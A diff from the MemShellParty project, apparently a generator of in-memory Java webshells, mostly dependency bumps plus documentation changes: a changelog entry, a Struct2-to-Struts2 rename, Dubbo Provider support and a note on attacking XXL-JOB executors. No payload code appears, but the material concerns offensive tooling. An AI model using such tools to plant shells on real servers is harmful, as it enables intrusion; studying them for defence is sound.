"tailwindcss": ["tailwindcss@4.2.4", "", {}, "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA=="],
|
"tailwindcss": ["tailwindcss@4.3.0", "", {}, "sha512-y6nxMGB1nMW9R6k96e5gdIFzcfL/gTJRNaqGes1YvkLnPVXzWgbqFF2yLC0T8G774n24cx3Pe8XrKoniCOAH+Q=="],
|
||||||
|
|
||||||
"tapable": ["[email protected].0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="],
|
"tapable": ["[email protected].3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="],
|
||||||
|
|
||||||
"tiny-case": ["[email protected]", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="],
|
"tiny-case": ["[email protected]", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="],
|
||||||
|
|
||||||
"tinyexec": ["tinyexec@1.1.1", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="],
|
"tinyexec": ["tinyexec@1.2.2", "", {}, "sha512-M/Q0B2cp4K7kynaT/vnED1j8TlLY+Pp7C6Wl2bl/7u/F0mUVwdyOpwomQb8JpYLitHUssAJRmLZdMCGsrx7i+g=="],
|
||||||
|
|
||||||
"tinyglobby": ["[email protected]", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg=="],
|
"tinyglobby": ["[email protected]", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg=="],
|
||||||
|
|
||||||
@@ -1299,7 +1300,7 @@
|
|||||||
|
|
||||||
"typescript": ["[email protected]", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="],
|
"typescript": ["[email protected]", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="],
|
||||||
|
|
||||||
"undici-types": ["undici-types@7.19.2", "", {}, "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg=="],
|
"undici-types": ["undici-types@7.24.6", "", {}, "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg=="],
|
||||||
|
|
||||||
"unified": ["[email protected]", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="],
|
"unified": ["[email protected]", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="],
|
||||||
|
|
||||||
@@ -1339,7 +1340,7 @@
|
|||||||
|
|
||||||
"vfile-message": ["[email protected]", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
|
"vfile-message": ["[email protected]", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
|
||||||
|
|
||||||
"vite": ["[email protected]0", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.10", "rolldown": "1.0.0-rc.17", "tinyglobby": "^0.2.16" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-rZuUu9j6J5uotLDs+cAA4O5H4K1SfPliUlQwqa6YEwSrWDZzP4rhm00oJR5snMewjxF5V/K3D4kctsUTsIU9Mw=="],
|
"vite": ["[email protected]4", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", "rolldown": "1.0.2", "tinyglobby": "^0.2.16" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.18", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-s4BJJ+5y1pYL6Otw51FHhVJQhPnuRinKig64g/1+EUNaJsd3gCKdD31IPFvswUgW9/60QT9oFHbZHbQK5imcxw=="],
|
||||||
|
|
||||||
"vite-node": ["[email protected]", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="],
|
"vite-node": ["[email protected]", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="],
|
||||||
|
|
||||||
@@ -1367,7 +1368,7 @@
|
|||||||
|
|
||||||
"yup": ["[email protected]", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="],
|
"yup": ["[email protected]", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="],
|
||||||
|
|
||||||
"zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="],
|
"zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="],
|
||||||
|
|
||||||
"zwitch": ["[email protected]", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
|
"zwitch": ["[email protected]", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
|
||||||
|
|
||||||
@@ -1419,6 +1420,8 @@
|
|||||||
|
|
||||||
"boxen/chalk": ["[email protected]", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
|
"boxen/chalk": ["[email protected]", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
|
||||||
|
|
||||||
|
"browserslist/baseline-browser-mapping": ["[email protected]", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="],
|
||||||
|
|
||||||
"chalk-template/chalk": ["[email protected]", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
|
"chalk-template/chalk": ["[email protected]", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
|
||||||
|
|
||||||
"compression/debug": ["[email protected]", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
|
"compression/debug": ["[email protected]", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
|
||||||
@@ -1538,5 +1541,7 @@
|
|||||||
"vite-node/vite/esbuild/@esbuild/win32-ia32": ["@esbuild/[email protected]", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="],
|
"vite-node/vite/esbuild/@esbuild/win32-ia32": ["@esbuild/[email protected]", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="],
|
||||||
|
|
||||||
"vite-node/vite/esbuild/@esbuild/win32-x64": ["@esbuild/[email protected]", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="],
|
"vite-node/vite/esbuild/@esbuild/win32-x64": ["@esbuild/[email protected]", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="],
|
||||||
|
|
||||||
|
"vite-node/vite/postcss/nanoid": ["[email protected]", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,6 +8,20 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v2.7.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.1) - 2026-05-24
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
1. 修复 SpELSpringGzipJDK17 高版本 org.springframework.util.Base64Utils 类被删除导致无法使用
|
||||||
|
2. 修复 TongWeb 7.0.4.9、BES 11.0.0 回显失效
|
||||||
|
3. 修复命名错误 struct2 -> struts2
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
1. 依赖更新、文档更新
|
||||||
|
|
||||||
|
**Full Changelog:** [v2.7.0...v2.7.1](https://github.com/ReaJason/MemShellParty/compare/v2.7.0...v2.7.1)
|
||||||
|
|
||||||
## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26
|
## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
@@ -141,7 +155,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
### Added
|
### Added
|
||||||
|
|
||||||
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1)
|
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1)
|
||||||
2. 支持 Struct2 Action 内存马与回显马生成
|
2. 支持 Struts2 Action 内存马与回显马生成
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
|
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ icon: Album
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| [BES (9.5.x)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) |
|
| [BES (9.5.x ~ 11.0.0)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) |
|
||||||
| ------------------------------------- | ---------------------------------------------- | ------------------------------------------------------- |
|
| ------------------------------------- | ---------------------------------------------- | ------------------------------------------------------- |
|
||||||
| Filter | Filter | Filter |
|
| Filter | Filter | Filter |
|
||||||
| Listener | Listener | Listener |
|
| Listener | Listener | Listener |
|
||||||
@@ -49,13 +49,13 @@ icon: Album
|
|||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) |
|
| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) | [Dubbo Provider](/docs/server-intro#dubbo) |
|
||||||
| ----------------------------------------------- | --------------------------------------------- |
|
| ----------------------------------------------- | --------------------------------------------- | --------------------------------------------- |
|
||||||
| Servlet | Filter |
|
| Servlet | Filter | DubboService |
|
||||||
| Filter | Listener |
|
| Filter | Listener | |
|
||||||
| Listener | Valve |
|
| Listener | Valve | |
|
||||||
| FilterChain - Agent | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | |
|
||||||
| | ContextValve - Agent |
|
| | ContextValve - Agent | |
|
||||||
|
|
||||||
### 内存马功能
|
### 内存马功能
|
||||||
|
|
||||||
|
|||||||
@@ -48,7 +48,7 @@ inject(context, shell);
|
|||||||
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||||
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||||
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
|
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
|
||||||
| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) |
|
| (Struts2)Action | [GodzillaStruts2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java) |
|
||||||
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
|
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
|
||||||
|
|
||||||
### 参考步骤
|
### 参考步骤
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ description: 了解和使用那些可能用到的一键开关
|
|||||||
- [x] SpringWebMvc
|
- [x] SpringWebMvc
|
||||||
- [x] SpringWebFlux
|
- [x] SpringWebFlux
|
||||||
- [x] XXLJOB
|
- [x] XXLJOB
|
||||||
- [x] Struct2
|
- [x] Struts2
|
||||||
|
|
||||||
### 服务版本
|
### 服务版本
|
||||||
|
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
"memshell-core-config",
|
"memshell-core-config",
|
||||||
"servlet",
|
"servlet",
|
||||||
"springweb",
|
"springweb",
|
||||||
"struct2-shell",
|
"struts2-shell",
|
||||||
"middleware",
|
"middleware",
|
||||||
"shelltool",
|
"shelltool",
|
||||||
"agent-shell",
|
"agent-shell",
|
||||||
|
|||||||
@@ -11,6 +11,6 @@
|
|||||||
"tongweb",
|
"tongweb",
|
||||||
"apusic",
|
"apusic",
|
||||||
"springwebmvc",
|
"springwebmvc",
|
||||||
"struct2"
|
"struts2"
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +0,0 @@
|
|||||||
---
|
|
||||||
title: Struct2
|
|
||||||
---
|
|
||||||
|
|
||||||
WIP
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
---
|
||||||
|
title: Struts2
|
||||||
|
---
|
||||||
|
|
||||||
|
WIP
|
||||||
@@ -10,6 +10,8 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs";
|
|||||||
|
|
||||||
### 添加依赖
|
### 添加依赖
|
||||||
|
|
||||||
|
1. 如果仅需要生成内存马 Base64 格式,仅添加 generator 模块即可
|
||||||
|
|
||||||
<Tabs items={["Maven", "Gradle"]}>
|
<Tabs items={["Maven", "Gradle"]}>
|
||||||
<Tab>
|
<Tab>
|
||||||
```xml
|
```xml
|
||||||
@@ -23,6 +25,31 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs";
|
|||||||
<Tab>```groovy implementation 'io.github.reajason:generator:2.2.0' ```</Tab>
|
<Tab>```groovy implementation 'io.github.reajason:generator:2.2.0' ```</Tab>
|
||||||
</Tabs>
|
</Tabs>
|
||||||
|
|
||||||
|
2. 如果需要使用自带的丰富打包方式,需要额外添加 packer 模块
|
||||||
|
|
||||||
|
<Tabs items={["Maven", "Gradle"]}>
|
||||||
|
<Tab>
|
||||||
|
```xml
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>2.2.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>packer</artifactId>
|
||||||
|
<version>2.2.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
</Tab>
|
||||||
|
<Tab>
|
||||||
|
```groovy
|
||||||
|
implementation 'io.github.reajason:generator:2.2.0'
|
||||||
|
implementation 'io.github.reajason:packer:2.2.0'
|
||||||
|
```
|
||||||
|
</Tab>
|
||||||
|
</Tabs>
|
||||||
|
|
||||||
### 生成 Tomcat Godzilla Filter 内存马示例
|
### 生成 Tomcat Godzilla Filter 内存马示例
|
||||||
|
|
||||||
```java
|
```java
|
||||||
|
|||||||
@@ -365,3 +365,9 @@ SpringWebFlux 进行内存马生成。
|
|||||||
|
|
||||||
XXL-JOB 是一个分布式任务调度平台,由于 executor 出现过反序列化漏洞,并且弱密码情况下可在 admin 前台下发任务,在 executor 执行任意代码,因此在 MemShellParty 中也提供了 XXL-JOB 内存马的生成,服务类型选择 XXL-JOB 进行内存马生成。
|
XXL-JOB 是一个分布式任务调度平台,由于 executor 出现过反序列化漏洞,并且弱密码情况下可在 admin 前台下发任务,在 executor 执行任意代码,因此在 MemShellParty 中也提供了 XXL-JOB 内存马的生成,服务类型选择 XXL-JOB 进行内存马生成。
|
||||||
executor 仅支持 Netty Handler 内存马注入。
|
executor 仅支持 Netty Handler 内存马注入。
|
||||||
|
|
||||||
|
## Dubbo
|
||||||
|
|
||||||
|
> 官网:https://dubbo.apache.org/en/
|
||||||
|
|
||||||
|
Dubbo 分为低版本 2.6x Alibaba Dubbo,包名为 `com.alibaba.dubbo.`,后来合并到 Apache 改为了 Apache Dubbo 2.7x 版本和 3.x 版本,包名为 `org.apache.dubbo.`,当前 Dubbo 内存马只针对 Dubbo Provider,对于 Dubbo Consumer 来说直接打对应的内存马即可比如 Spring 框架马。
|
||||||
|
|||||||
@@ -1,5 +0,0 @@
|
|||||||
---
|
|
||||||
title: Struct2 框架内存马
|
|
||||||
---
|
|
||||||
|
|
||||||
## Action 内存马
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
---
|
||||||
|
title: Struts2 框架内存马
|
||||||
|
---
|
||||||
|
|
||||||
|
## Action 内存马
|
||||||
+27
-26
@@ -14,52 +14,53 @@
|
|||||||
"fmt:check": "oxfmt --check"
|
"fmt:check": "oxfmt --check"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@base-ui/react": "^1.4.1",
|
"@base-ui/react": "^1.5.0",
|
||||||
"@hookform/resolvers": "^5.2.2",
|
"@hookform/resolvers": "^5.4.0",
|
||||||
"@orama/orama": "^3.1.18",
|
"@orama/orama": "^3.1.18",
|
||||||
"@orama/stopwords": "^3.1.18",
|
"@orama/stopwords": "^3.1.18",
|
||||||
"@orama/tokenizers": "^3.1.18",
|
"@orama/tokenizers": "^3.1.18",
|
||||||
"@react-router/node": "^7.14.2",
|
"@react-router/node": "^7.15.1",
|
||||||
"@tanstack/react-query": "^5.100.5",
|
"@tanstack/react-query": "^5.100.14",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"framer-motion": "^12.38.0",
|
"framer-motion": "^12.40.0",
|
||||||
"fumadocs-core": "^16.8.4",
|
"fumadocs-core": "^16.9.1",
|
||||||
"fumadocs-mdx": "14.3.1",
|
"fumadocs-mdx": "15.0.8",
|
||||||
"fumadocs-ui": "16.8.4",
|
"fumadocs-ui": "16.9.1",
|
||||||
"i18next": "^26.0.8",
|
"i18next": "^26.2.0",
|
||||||
"isbot": "^5.1.39",
|
"isbot": "^5.1.40",
|
||||||
"lucide-react": "^1.11.0",
|
"lucide-react": "^1.16.0",
|
||||||
"motion": "^12.38.0",
|
"motion": "^12.40.0",
|
||||||
"react": "^19.2.5",
|
"react": "^19.2.6",
|
||||||
"react-copy-to-clipboard": "^5.1.1",
|
"react-copy-to-clipboard": "^5.1.1",
|
||||||
"react-dom": "^19.2.5",
|
"react-dom": "^19.2.6",
|
||||||
"react-hook-form": "^7.74.0",
|
"react-hook-form": "^7.76.1",
|
||||||
"react-i18next": "^17.0.4",
|
"react-i18next": "^17.0.8",
|
||||||
"react-medium-image-zoom": "^5.4.3",
|
"react-medium-image-zoom": "^5.4.5",
|
||||||
"react-syntax-highlighter": "^16.1.1",
|
"react-syntax-highlighter": "^16.1.1",
|
||||||
"sonner": "^2.0.7",
|
"sonner": "^2.0.7",
|
||||||
"tailwind-merge": "^3.5.0",
|
"tailwind-merge": "^3.6.0",
|
||||||
"tw-animate-css": "^1.4.0",
|
"tw-animate-css": "^1.4.0",
|
||||||
"yup": "^1.7.1"
|
"yup": "^1.7.1"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@react-router/dev": "^7.14.2",
|
"@react-router/dev": "^7.15.1",
|
||||||
"@tailwindcss/vite": "^4.2.4",
|
"@tailwindcss/vite": "^4.3.0",
|
||||||
"@types/mdx": "^2.0.13",
|
"@types/mdx": "^2.0.13",
|
||||||
"@types/node": "^25.6.0",
|
"@types/node": "^25.9.1",
|
||||||
"@types/react": "^19.2.14",
|
"@types/react": "^19.2.15",
|
||||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||||
"@types/react-dom": "^19.2.3",
|
"@types/react-dom": "^19.2.3",
|
||||||
"@types/react-syntax-highlighter": "^15.5.13",
|
"@types/react-syntax-highlighter": "^15.5.13",
|
||||||
"oxfmt": "^0.46.0",
|
"baseline-browser-mapping": "^2.10.32",
|
||||||
"oxlint": "^1.61.0",
|
"oxfmt": "^0.51.0",
|
||||||
|
"oxlint": "^1.66.0",
|
||||||
"react-router-devtools": "^6.2.0",
|
"react-router-devtools": "^6.2.0",
|
||||||
"rimraf": "^6.1.3",
|
"rimraf": "^6.1.3",
|
||||||
"serve": "^14.2.6",
|
"serve": "^14.2.6",
|
||||||
"tailwindcss": "^4.2.4",
|
"tailwindcss": "^4.3.0",
|
||||||
"typescript": "^6.0.3",
|
"typescript": "^6.0.3",
|
||||||
"vite": "^8.0.10",
|
"vite": "^8.0.14",
|
||||||
"vite-plugin-devtools-json": "^1.0.0",
|
"vite-plugin-devtools-json": "^1.0.0",
|
||||||
"vite-tsconfig-paths": "^6.1.1"
|
"vite-tsconfig-paths": "^6.1.1"
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user